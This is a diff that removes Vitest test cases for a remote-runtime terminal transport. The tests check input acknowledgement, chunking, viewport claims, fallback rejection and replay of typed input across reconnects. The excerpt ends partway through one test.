-      if (args.method === 'terminal.send') {
-        return Promise.resolve({
-          ok: true,
-          result: { send: { handle: 'terminal-1', accepted: true, bytesWritten: 1 } }
-        })
-      }
-      return Promise.resolve({ ok: true, result: {} })
-    })
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId: 'pane:1'
-    })
-
-    await transport.connect({ url: '', callbacks: {} })
-
-    await expect(transport.sendInputAccepted?.('\x03', 'driving')).resolves.toBe(true)
-    expect(runtimeCall).toHaveBeenCalledWith({
-      selector: 'env-1',
-      method: 'terminal.send',
-      params: {
-        terminal: 'terminal-1',
-        text: '\x03',
-        client: { id: expect.stringMatching(/^desktop:tab-1:pane:1:/), type: 'desktop' },
-        viewport: { cols: 80, rows: 24 },
-        claimViewport: true
-      },
-      timeoutMs: 15_000
-    })
-  })
-
-  it('preserves queued remote input order before acknowledged terminal input', async () => {
-    vi.useFakeTimers()
-    try {
-      runtimeCall.mockImplementation((args) => {
-        if (args.method === 'terminal.create') {
-          return Promise.resolve({ ok: true, result: { terminal: { handle: 'terminal-1' } } })
-        }
-        if (args.method === 'terminal.send') {
-          return Promise.resolve({
-            ok: true,
-            result: { send: { handle: 'terminal-1', accepted: true, bytesWritten: 2 } }
-          })
-        }
-        return Promise.resolve({ ok: true, result: {} })
-      })
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'tab-1',
-        leafId: 'pane:1'
-      })
-
-      await transport.connect({ url: '', callbacks: {} })
-      subscriptionSendBinary.mockClear()
-
-      expect(transport.sendInput('a', 'driving')).toBe(true)
-      await expect(transport.sendInputAccepted?.('\x03', 'driving')).resolves.toBe(true)
-      await vi.runOnlyPendingTimersAsync()
-
-      expect(runtimeCall).toHaveBeenCalledWith({
-        selector: 'env-1',
-        method: 'terminal.send',
-        params: {
-          terminal: 'terminal-1',
-          text: 'a\x03',
-          client: { id: expect.stringMatching(/^desktop:tab-1:pane:1:/), type: 'desktop' },
-          viewport: { cols: 80, rows: 24 },
-          claimViewport: true
-        },
-        timeoutMs: 15_000
-      })
-      expect(subscriptionSendBinary).not.toHaveBeenCalled()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('returns false when acknowledged terminal input is rejected by the runtime', async () => {
-    runtimeCall.mockImplementation((args) => {
-      if (args.method === 'terminal.create') {
-        return Promise.resolve({ ok: true, result: { terminal: { handle: 'terminal-1' } } })
-      }
-      if (args.method === 'terminal.send') {
-        return Promise.resolve({
-          ok: true,
-          result: { send: { handle: 'terminal-1', accepted: false, bytesWritten: 0 } }
-        })
-      }
-      return Promise.resolve({ ok: true, result: {} })
-    })
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId: 'pane:1'
-    })
-
-    await transport.connect({ url: '', callbacks: {} })
-
-    await expect(transport.sendInputAccepted?.('\x03', 'driving')).resolves.toBe(false)
-  })
-
   it('splits large acknowledged remote input before terminal.send RPCs', async () => {
     runtimeCall.mockImplementation((args) => {
       if (args.method === 'terminal.create') {
@@ -394,257 +139,4 @@ describe('createRemoteRuntimePtyTransport', () => {
     expect(sendCalls[0]?.[0].params.text).toBe(chunk)
     expect(sendCalls[1]?.[0].params.text).toBe('tail')
   })
-
-  it('yields while validating accepted large acknowledged remote input before terminal.send RPCs', async () => {
-    vi.useFakeTimers()
-    try {
-      runtimeCall.mockImplementation((args) => {
-        if (args.method === 'terminal.create') {
-          return Promise.resolve({ ok: true, result: { terminal: { handle: 'terminal-1' } } })
-        }
-        if (args.method === 'terminal.send') {
-          return Promise.resolve({
-            ok: true,
-            result: {
-              send: {
-                handle: 'terminal-1',
-                accepted: true,
-                bytesWritten: args.params.text.length
-              }
-            }
-          })
-        }
-        return Promise.resolve({ ok: true, result: {} })
-      })
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'tab-1',
-        leafId: 'pane:1'
-      })
-      const text = 'é'.repeat(CLIPBOARD_TEXT_MEASURE_YIELD_CODE_UNITS + 1)
-
-      await transport.connect({ url: '', callbacks: {} })
-      runtimeCall.mockClear()
-
-      const accepted = transport.sendInputAccepted?.(text, 'driving')
-      await Promise.resolve()
-
-      expect(runtimeCall).not.toHaveBeenCalled()
-
-      await vi.runAllTimersAsync()
-
-      await expect(accepted).resolves.toBe(true)
-      const sendTexts = runtimeCall.mock.calls
-        .filter((call) => call[0].method === 'terminal.send')
-        .map((call) => call[0].params.text)
-      expect(sendTexts.join('')).toBe(text)
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('stops large acknowledged remote input after a rejected chunk', async () => {
-    const firstChunk = 'x'.repeat(TERMINAL_INPUT_CHUNK_MAX_BYTES)
-    const rejectedChunk = `tail${'y'.repeat(TERMINAL_INPUT_CHUNK_MAX_BYTES - 4)}`
-    runtimeCall.mockImplementation((args) => {
-      if (args.method === 'terminal.create') {
-        return Promise.resolve({ ok: true, result: { terminal: { handle: 'terminal-1' } } })
-      }
-      if (args.method === 'terminal.send') {
-        return Promise.resolve({
-          ok: true,
-          result: {
-            send: {
-              handle: 'terminal-1',
-              accepted: args.params.text !== rejectedChunk,
-              bytesWritten: args.params.text === rejectedChunk ? 0 : args.params.text.length
-            }
-          }
-        })
-      }
-      return Promise.resolve({ ok: true, result: {} })
-    })
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId: 'pane:1'
-    })
-
-    await transport.connect({ url: '', callbacks: {} })
-
-    await expect(
-      transport.sendInputAccepted?.(`${firstChunk}${rejectedChunk}after`, 'driving')
-    ).resolves.toBe(false)
-
-    const sendTexts = runtimeCall.mock.calls
-      .filter((call) => call[0].method === 'terminal.send')
-      .map((call) => call[0].params.text)
-    expect(sendTexts).toEqual([firstChunk, rejectedChunk])
-  })
-
-  it('rejects oversized acknowledged remote input before runtime RPCs', async () => {
-    runtimeCall.mockImplementation((args) => {
-      if (args.method === 'terminal.create') {
-        return Promise.resolve({ ok: true, result: { terminal: { handle: 'terminal-1' } } })
-      }
-      return Promise.resolve({ ok: true, result: {} })
-    })
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId: 'pane:1'
-    })
-
-    await transport.connect({ url: '', callbacks: {} })
-    runtimeCall.mockClear()
-
-    await expect(
-      transport.sendInputAccepted?.(
-        '😀'.repeat(Math.floor(TERMINAL_INPUT_MAX_BYTES / 4) + 1),
-        'driving'
-      )
-    ).resolves.toBe(false)
-    expect(runtimeCall).not.toHaveBeenCalled()
-  })
-
-  it('preserves literal LF input when sending remote PTY binary frames', async () => {
-    vi.useFakeTimers()
-    try {
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'tab-1',
-        leafId: 'pane:1'
-      })
-
-      await transport.connect({ url: '', callbacks: {} })
-      const { streamId } = latestSubscribePayload()
-      runtimeCall.mockClear()
-      subscriptionSendBinary.mockClear()
-
-      expect(transport.sendInput('echo one\necho two\r\n', 'driving')).toBe(true)
-      await vi.runOnlyPendingTimersAsync()
-
-      expect(runtimeCall).not.toHaveBeenCalled()
-      expect(subscriptionSendBinary).toHaveBeenCalledTimes(1)
-      const frame = decodeTerminalStreamFrame(subscriptionSendBinary.mock.calls[0][0])
-      expect(frame?.opcode).toBe(TerminalStreamOpcode.Input)
-      expect(frame?.streamId).toBe(streamId)
-      expect(frame ? decodeTerminalStreamText(frame.payload) : '').toBe('echo one\necho two\r\n')
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('coalesces rapid remote viewport updates before sending the latest size', async () => {
-    vi.useFakeTimers()
-    try {
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'tab-1',
-        leafId: 'pane:1'
-      })
-
-      await transport.connect({ url: '', callbacks: {} })
-      const { streamId } = latestSubscribePayload()
-      runtimeCall.mockClear()
-      subscriptionSendBinary.mockClear()
-
-      expect(transport.resize(80, 24)).toBe(true)
-      expect(transport.resize(120, 40)).toBe(true)
-      expect(runtimeCall).not.toHaveBeenCalled()
-
-      await vi.runOnlyPendingTimersAsync()
-
-      expect(runtimeCall).not.toHaveBeenCalled()
-      expect(subscriptionSendBinary).toHaveBeenCalledTimes(1)
-      const frame = decodeTerminalStreamFrame(subscriptionSendBinary.mock.calls[0][0])
-      expect(frame?.opcode).toBe(TerminalStreamOpcode.Resize)
-      expect(frame?.streamId).toBe(streamId)
-      expect(frame ? decodeTerminalStreamJson(frame.payload) : null).toEqual({
-        cols: 120,
-        rows: 40
-      })
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('sends an activity claim before the user input it sizes', async () => {
-    vi.useFakeTimers()
-    try {
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'tab-1',
-        leafId: 'pane:1'
-      })
-
-      await transport.connect({ url: '', callbacks: {} })
-      const { streamId } = latestSubscribePayload()
-      subscriptionSendBinary.mockClear()
-
-      expect(transport.claimViewport?.(101, 33)).toBe(true)
-      expect(transport.sendInput('x', 'driving')).toBe(true)
-      await vi.runOnlyPendingTimersAsync()
-
-      const frames = subscriptionSendBinary.mock.calls.map((call) =>
-        decodeTerminalStreamFrame(call[0])
-      )
-      expect(frames.map((frame) => frame?.opcode)).toEqual([
-        TerminalStreamOpcode.ClaimViewport,
-        TerminalStreamOpcode.Resize,
-        TerminalStreamOpcode.Input
-      ])
-      expect(frames[0]?.streamId).toBe(streamId)
-      expect(frames[0] ? decodeTerminalStreamJson(frames[0].payload) : null).toEqual({
-        cols: 101,
-        rows: 33
-      })
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-  it('bounds query replies buffered during a viewport claim', async () => {
-    runtimeSubscribe.mockImplementation(
-      async (_args: unknown, callbacks: typeof subscriptionCallbacks) => {
-        subscriptionCallbacks = callbacks
-        return { unsubscribe: vi.fn(), sendBinary: subscriptionSendBinary }
-      }
-    )
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId: 'pane:1'
-    })
-
-    transport.attach({
-      existingPtyId: 'remote:terminal-1',
-      cols: 80,
-      rows: 24,
-      callbacks: {}
-    })
-    await vi.waitFor(() => expect(runtimeSubscribe).toHaveBeenCalled())
-    expect(transport.claimViewport?.(101, 33)).toBe(true)
-    for (let index = 0; index < 10_000; index += 1) {
-      expect(transport.sendInputImmediate(`\x1b[?${index};2c`)).toBe(true)
-    }
-
-    emitMultiplexReady()
-    await vi.waitFor(() => {
-      const input = subscriptionSendBinary.mock.calls
-        .map((call) => decodeTerminalStreamFrame(call[0]))
-        .filter((frame) => frame?.opcode === TerminalStreamOpcode.Input)
-        .map((frame) => (frame ? decodeTerminalStreamText(frame.payload) : ''))
-      expect(input).toHaveLength(64)
-      expect(input.at(0)).toBe('\x1b[?9936;2c')
-      expect(input.at(-1)).toBe('\x1b[?9999;2c')
-    })
-    transport.destroy?.()
-  })
 })
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-input-fallback.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-input-fallback.test.ts
index 89d4d70789d..e515d595727 100644
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-input-fallback.test.ts
+++ b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-input-fallback.test.ts
@@ -1,8 +1,4 @@
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import {
-  TerminalStreamOpcode,
-  decodeTerminalStreamFrame
-} from '../../../../../../shared/terminal/stream/terminal-stream-protocol'
 import { createRemoteRuntimeTransportMocks } from '../remote/remote-runtime-pty-transport-test-harness'
 import type { MultiplexSubscriptionCallbacks } from '../remote/remote-runtime-pty-transport-stream-fixtures'
 
@@ -38,97 +34,6 @@ describe('createRemoteRuntimePtyTransport', () => {
     resetRemoteRuntimeTransport()
   })
 
-  it('reports rejected input from the one-shot runtime fallback', async () => {
-    vi.useFakeTimers()
-    runtimeSubscribe.mockImplementation(
-      async (_args: unknown, callbacks: typeof subscriptionCallbacks) => {
-        subscriptionCallbacks = callbacks
-        return { unsubscribe: vi.fn(), sendBinary: subscriptionSendBinary }
-      }
-    )
-    try {
-      const defaultRuntimeCall = runtimeCall.getMockImplementation()
-      runtimeCall.mockImplementation((args: { method: string }) => {
-        if (args.method === 'terminal.send') {
-          return Promise.resolve({
-            ok: true,
-            result: { send: { handle: 'terminal-1', accepted: false, bytesWritten: 0 } }
-          })
-        }
-        return defaultRuntimeCall?.(args)
-      })
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      let undeliveredWhenNotified: boolean | undefined
-      const onWriteUnavailable = vi.fn(() => {
-        undeliveredWhenNotified = transport.hasUndeliveredInput?.()
-      })
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'tab-1',
-        leafId: 'pane:1'
-      })
-
-      transport.attach({
-        existingPtyId: 'remote:env-1@@terminal-1',
-        callbacks: { onWriteUnavailable }
-      })
-      await vi.waitFor(() => expect(transport.getPtyId()).toBe('remote:env-1@@terminal-1'))
-      expect(transport.sendInput('ls\r', 'driving')).toBe(true)
-      await vi.advanceTimersByTimeAsync(8)
-
-      await vi.waitFor(() => expect(onWriteUnavailable).toHaveBeenCalledOnce())
-      // Why: refused one-shot input never enters the journal; the remount must still warn of it.
-      expect(undeliveredWhenNotified).toBe(true)
-      transport.destroy?.()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('reports terminal_not_writable from the one-shot runtime fallback', async () => {
-    vi.useFakeTimers()
-    runtimeSubscribe.mockImplementation(
-      async (_args: unknown, callbacks: typeof subscriptionCallbacks) => {
-        subscriptionCallbacks = callbacks
-        return { unsubscribe: vi.fn(), sendBinary: subscriptionSendBinary }
-      }
-    )
-    try {
-      const defaultRuntimeCall = runtimeCall.getMockImplementation()
-      runtimeCall.mockImplementation((args: { method: string }) => {
-        if (args.method === 'terminal.send') {
-          return Promise.resolve({
-            ok: false,
-            error: { code: 'internal_error', message: 'terminal_not_writable' }
-          })
-        }
-        return defaultRuntimeCall?.(args)
-      })
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const onWriteUnavailable = vi.fn()
-      const onError = vi.fn()
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'tab-1',
-        leafId: 'pane:1'
-      })
-
-      transport.attach({
-        existingPtyId: 'remote:env-1@@terminal-1',
-        callbacks: { onWriteUnavailable, onError }
-      })
-      await vi.waitFor(() => expect(transport.getPtyId()).toBe('remote:env-1@@terminal-1'))
-      expect(transport.sendInput('x', 'driving')).toBe(true)
-      await vi.advanceTimersByTimeAsync(8)
-
-      await vi.waitFor(() => expect(onWriteUnavailable).toHaveBeenCalledOnce())
-      expect(onError).not.toHaveBeenCalled()
-      transport.destroy?.()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
   it('does not report a delayed fallback rejection after same-handle reattach', async () => {
     vi.useFakeTimers()
     runtimeSubscribe.mockImplementation(
@@ -196,53 +101,6 @@ describe('createRemoteRuntimePtyTransport', () => {
     }
   })
 
-  it('drops pending input when attaching a different remote terminal handle', async () => {
-    vi.useFakeTimers()
-    runtimeSubscribe.mockImplementation(
-      async (_args: unknown, callbacks: typeof subscriptionCallbacks) => {
-        subscriptionCallbacks = callbacks
-        return { unsubscribe: vi.fn(), sendBinary: subscriptionSendBinary }
-      }
-    )
-    try {
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'tab-1',
-        leafId: 'pane:1'
-      })
-
-      resolvedPaneHandle = 'terminal-old'
-      transport.attach({
-        existingPtyId: 'remote:env-1@@terminal-old',
-        cols: 80,
-        rows: 24,
-        callbacks: {}
-      })
-      await vi.waitFor(() => expect(transport.getPtyId()).toBe('remote:env-1@@terminal-old'))
-      expect(transport.sendInput('queued-for-old', 'driving')).toBe(true)
-
-      resolvedPaneHandle = 'terminal-new'
-      transport.attach({
-        existingPtyId: 'remote:env-1@@terminal-new',
-        cols: 80,
-        rows: 24,
-        callbacks: {}
-      })
-      runtimeCall.mockClear()
-
-      await vi.advanceTimersByTimeAsync(10)
-
-      expect(runtimeCall).not.toHaveBeenCalledWith(
-        expect.objectContaining({
-          method: 'terminal.send'
-        })
-      )
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
   it('ignores stale attach subscription rejection after reattaching a newer remote terminal', async () => {
     const oldSubscription = {
       reject: null as ((error: Error) => void) | null
@@ -311,49 +169,4 @@ describe('createRemoteRuntimePtyTransport', () => {
     expect(transport.getPtyId()).toBe('remote:env-1@@terminal-new')
     expect(transport.isConnected()).toBe(true)
   })
-
-  it('does not send queued input through a stale stream during remote handle replacement', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId: 'pane:1'
-    })
-
-    transport.attach({
-      existingPtyId: 'remote:env-1@@terminal-old',
-      cols: 80,
-      rows: 24,
-      callbacks: {}
-    })
-    await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-
-    vi.useFakeTimers()
-    try {
-      subscriptionSendBinary.mockClear()
-      runtimeCall.mockClear()
-
-      transport.attach({
-        existingPtyId: 'remote:env-1@@terminal-new',
-        cols: 80,
-        rows: 24,
-        callbacks: {}
-      })
-      subscriptionSendBinary.mockClear()
-
-      // Why: replacement input is held for the new handle until terminal.resolvePane proves it belongs to this pane.
-      expect(transport.sendInput('x', 'driving')).toBe(true)
-      vi.advanceTimersByTime(8)
-
-      const inputFrames = subscriptionSendBinary.mock.calls
-        .map((call) => decodeTerminalStreamFrame(call[0]))
-        .filter((frame) => frame?.opcode === TerminalStreamOpcode.Input)
-      expect(inputFrames).toEqual([])
-      expect(runtimeCall).not.toHaveBeenCalledWith(
-        expect.objectContaining({ method: 'terminal.send' })
-      )
-    } finally {
-      vi.useRealTimers()
-    }
-  })
 })
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-input-replay.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-input-replay.test.ts
index dc17c7684ab..221f4d53346 100644
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-input-replay.test.ts
+++ b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-input-replay.test.ts
@@ -8,17 +8,11 @@ import {
 import { createRemoteRuntimeTransportMocks } from '../remote/remote-runtime-pty-transport-test-harness'
 import type { MultiplexSubscriptionCallbacks } from '../remote/remote-runtime-pty-transport-stream-fixtures'
 import './recovery/remote-runtime-pty-recovery-state'
-import { REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS } from './recovery/remote-runtime-pty-recovery-limits'
-import { REMOTE_RUNTIME_DISCONNECTED_INPUT_GRACE_MS } from './input/remote-runtime-disconnected-input-grace'
 import { runTerminalPasteOperationWithTimeout } from '../../input/paste/terminal-paste-operation-timeout'
 import { writeTerminalPastePtyInput } from '../../input/paste/terminal-pty-paste-writer'
 import { executeTerminalPastePlan } from '../../input/paste/terminal-paste-executor'
 import type { TerminalPastePlan } from '../../input/paste/terminal-paste-model'
 import { TERMINAL_REMOTE_PASTE_OPERATION_TIMEOUT_MS } from '../../input/paste/terminal-paste-limits'
-import {
-  REMOTE_RUNTIME_INPUT_REFUSAL_ROUNDS_BEFORE_ESCALATION,
-  REMOTE_RUNTIME_INPUT_RESEND_BACKOFF_MS
-} from './input/remote-runtime-input-journal'
 
 const appStore = vi.hoisted(() => ({
   getState: vi.fn(() => {
@@ -38,7 +32,6 @@ let resolvedPaneHandle = 'terminal-1'
 const {
   runtimeSubscribe,
   subscriptionSendBinary,
-  emitMultiplexReady,
   latestSubscribePayload,
   emitSnapshot,
   subscribeFrameCount,
@@ -94,8 +87,6 @@ function attachStream(
   emitSnapshot(streamId, 'prompt$ ')
 }
 
-const RESEND_REQUEST = Uint8Array.of(2)
-
 function emitInputAck(streamId: number, seq: number, payload = new Uint8Array()): void {
   subscriptionCallbacks?.onBinary?.(
     encodeTerminalStreamFrame({
@@ -107,13 +98,6 @@ function emitInputAck(streamId: number, seq: number, payload = new Uint8Array())
   )
 }
 
-function acknowledgeInputFrame(bytes: Uint8Array): void {
-  const frame = decodeTerminalStreamFrame(bytes)
-  if (frame?.opcode === TerminalStreamOpcode.Input) {
-    queueMicrotask(() => emitInputAck(frame.streamId, frame.seq))
-  }
-}
-
 /** Makes the `failAt`-th Input frame sent from now on throw, as a socket that died mid-write does. */
 function failInputFrame(failAt: number): void {
   let inputs = 0
@@ -169,112 +153,6 @@ describe('remote pane input across a silent outage', () => {
     resetRemoteRuntimeTransport()
   })
 
-  it('reports undelivered input on an endpoint-loss frame only when the pane held some', async () => {
-    let undelivered: boolean | undefined
-    const { transport, streamId } = await connectPane(
-      { inputAck: 1, writeUnavailable: 1, endpointLossNotice: 1 },
-      { onWriteUnavailable: () => (undelivered = transport.hasUndeliveredInput?.()) }
-    )
-    const endpointLost = (): void =>
-      subscriptionCallbacks?.onBinary?.(
-        encodeTerminalStreamFrame({
-          opcode: TerminalStreamOpcode.WriteUnavailable,
-          streamId,
-          seq: 1,
-          payload: new Uint8Array()
-        })
-      )
-
-    // An idle pane: the host dropped it unprompted, and nothing typed is at stake.
-    endpointLost()
-    expect(undelivered).toBe(false)
-
-    transport.sendInput('echo alive\r', 'driving')
-    endpointLost()
-    // Why revert-sensitive: the remount discards this, and saying nothing is the silent loss.
-    expect(undelivered).toBe(true)
-    transport.destroy?.()
-  })
-
-  it('treats the frame as refused input on a stream without acks', async () => {
-    let undelivered: boolean | undefined
-    const { transport, streamId } = await connectPane(
-      { writeUnavailable: 1 },
-      { onWriteUnavailable: () => (undelivered = transport.hasUndeliveredInput?.()) }
-    )
-    subscriptionCallbacks?.onBinary?.(
-      encodeTerminalStreamFrame({
-        opcode: TerminalStreamOpcode.WriteUnavailable,
-        streamId,
-        seq: 1,
-        payload: new Uint8Array()
-      })
-    )
-    expect(undelivered).toBe(true)
-    transport.destroy?.()
-  })
-
-  it.each([
-    ['acknowledging', { inputAck: 1 }, ['a']],
-    ['legacy', { outputPause: 1 }, []]
-  ] as const)(
-    'sends an idle key at once only to a host that acknowledges input (%s)',
-    async (_host, capabilities, immediate) => {
-      const { transport } = await connectPane(capabilities)
-      subscriptionSendBinary.mockClear()
-      transport.sendInput('a', 'driving')
-      expect(sentInputs().map((input) => input.text)).toEqual(immediate)
-      transport.sendInput('b', 'driving')
-      await vi.waitFor(() => expect(sentText()).toBe('ab'))
-    }
-  )
-
-  it('preserves the acknowledged input session across reconnects', async () => {
-    const { transport, streamId } = await connectPane({ inputAck: 1 })
-    const payload = latestSubscribePayload()
-    expect(payload.capabilities).toMatchObject({ inputAck: 1 })
-    expect(payload.inputSessionId).toEqual(expect.any(String))
-    expect(payload.inputSessionId?.length).toBeGreaterThan(0)
-    const first = transport.sendInputAccepted?.('before\r', 'driving')
-    await vi.waitFor(() => expect(sentInputs()).toHaveLength(1))
-    emitInputAck(streamId, sentInputs()[0].seq)
-    await expect(first).resolves.toBe(true)
-
-    subscriptionCallbacks?.onClose?.()
-    await vi.waitFor(() => expect(runtimeSubscribe).toHaveBeenCalledTimes(2))
-    await reconnect({ inputAck: 1 }, 2)
-    expect(latestSubscribePayload().inputSessionId).toBe(payload.inputSessionId)
-    const second = transport.sendInputAccepted?.('after\r', 'driving')
-    await vi.waitFor(() => expect(sentInputs(2)).toHaveLength(1))
-    emitInputAck(latestSubscribePayload().streamId, sentInputs(2)[0].seq)
-    await expect(second).resolves.toBe(true)
-    transport.destroy?.()
-  })
-
-  it('replays input the dead stream never acknowledged onto the replacement stream (P1-1)', async () => {
-    const { transport, streamId } = await connectPane({ inputAck: 1 })
-    transport.sendInput('echo 1\r', 'driving')
-    await vi.waitFor(() => expect(sentInputs()).toHaveLength(1))
-    emitInputAck(streamId, sentInputs()[0].seq)
-    // Typed after the link went silent but before liveness noticed: handed to the dead socket.
-    transport.sendInput('echo 2\r', 'driving')
-    await vi.waitFor(() => expect(sentInputs()).toHaveLength(2))
-    const lostSeq = sentInputs()[1].seq
-
-    subscriptionCallbacks?.onClose?.()
-    expect(transport.sendInput('echo 3\r', 'driving')).toBe(true)
-    await vi.waitFor(() => expect(runtimeSubscribe).toHaveBeenCalledTimes(2))
-    await reconnect({ inputAck: 1 }, 2)
-
-    await vi.waitFor(() =>
-      expect(sentInputs(2)).toEqual([
-        { seq: lostSeq, text: 'echo 2\r' },
-        { seq: lostSeq + 1, text: 'echo 3\r' }
-      ])
-    )
-    transport.destroy?.()
-  })
-
   it('drops unacknowledged input instead of replaying it into a restarted host runtime', async () => {
     const { transport } = await connectPane({ inputAck: 1 })
     // Applied by the old runtime, but its ack died with the link.
@@ -291,330 +169,6 @@ describe('remote pane input across a silent outage', () => {
     transport.destroy?.()
   })
 
-  it('keeps Ctrl+C in sequence with typing across a silent outage', async () => {
-    const { transport } = await connectPane({ inputAck: 1 })
-    transport.sendInput('echo canceled', 'driving')
-    const interrupted = transport.sendInputAccepted?.('\x03', 'driving')
-    await vi.waitFor(() => expect(sentText()).toBe('echo canceled\x03'))
-    transport.sendInput('echo next\r', 'driving')
-    await vi.waitFor(() => expect(sentText()).toBe('echo canceled\x03echo next\r'))
-
-    subscriptionCallbacks?.onClose?.()
-    await vi.waitFor(() => expect(runtimeSubscribe).toHaveBeenCalledTimes(2))
-    await reconnect({ inputAck: 1 }, 2)
-
-    await vi.waitFor(() =>
-      expect(
-        sentInputs(2)
-          .map((input) => input.text)
-          .join('')
-      ).toBe('echo canceled\x03echo next\r')
-    )
-    // A live host acks every replayed frame on its own.
-    for (const replayed of sentInputs(2)) {
-      emitInputAck(latestSubscribePayload().streamId, replayed.seq)
-    }
-    await expect(interrupted).resolves.toBe(true)
-    transport.destroy?.()
-  })
-
-  it('keeps a paste still in size validation ahead of keys typed after the outage', async () => {
-    const { transport } = await connectPane({ inputAck: 1 })
-    subscriptionSendBinary.mockImplementation(acknowledgeInputFrame)
-    const paste = 'A'.repeat(300 * 1024)
-    transport.sendInput(paste, 'driving')
-    subscriptionCallbacks?.onError?.({
-      code: 'remote_runtime_unavailable',
-      message: 'Could not connect to the remote Orca runtime.'
-    })
-    transport.sendInput('B\r', 'driving')
-
-    await vi.waitFor(() => expect(runtimeSubscribe).toHaveBeenCalledTimes(2))
-    await reconnect({ inputAck: 1 }, 2)
-
-    // Why the long timeout: 300 KiB byte-length validation yields and is slow on a loaded runner.
-    await vi.waitFor(
-      () => {
-        const text = sentText()
-        expect(text).toHaveLength(paste.length + 2)
-        expect(text.indexOf('B')).toBe(paste.length)
-        // Keep a 300 KiB mismatch out of CI logs.
-        expect(text === `${paste}B\r`).toBe(true)
-      },
-      { timeout: 10_000 }
-    )
-    transport.destroy?.()
-  })
-
-  it.each(['acknowledged', 'legacy', 'accepted key'] as const)(
-    'releases the held paste prefix before its pending debounce suffix (%s host)',
-    async (host) => {
-      vi.useFakeTimers()
-      onTestFinished(() => {
-        vi.useRealTimers()
-      })
-      const capabilities: Record<string, 1> =
-        host === 'legacy' ? { outputPause: 1 } : { inputAck: 1 }
-      const { transport } = await connectPane(capabilities)
-      try {
-        let resumeSubscription!: () => void
-        const resumed = new Promise<void>((resolve) => {
-          resumeSubscription = resolve
-        })
-        let subscribed!: () => void
-        const replacementSubscribed = new Promise<void>((resolve) => {
-          subscribed = resolve
-        })
-        runtimeSubscribe.mockImplementation(
-          async (_args: unknown, callbacks: NonNullable<MultiplexSubscriptionCallbacks>) => {
-            subscriptionCallbacks = callbacks
-            await resumed
-            queueMicrotask(emitMultiplexReady)
-            return { unsubscribe: vi.fn(), sendBinary: subscriptionSendBinary }
-          }
-        )
-        subscriptionSendBinary.mockImplementation((bytes: Uint8Array) => {
-          if (decodeTerminalStreamFrame(bytes)?.opcode === TerminalStreamOpcode.Subscribe) {
-            subscribed()
-          }
-          if (host !== 'legacy') {
-            acknowledgeInputFrame(bytes)
-          }
-        })
-        const paste = 'A'.repeat(300 * 1024)
-        transport.sendInput(paste, 'driving')
-        subscriptionCallbacks?.onError?.({
-          code: 'remote_runtime_unavailable',
-          message: 'Could not connect to the remote Orca runtime.'
-        })
-        transport.sendInput('B\r', 'driving')
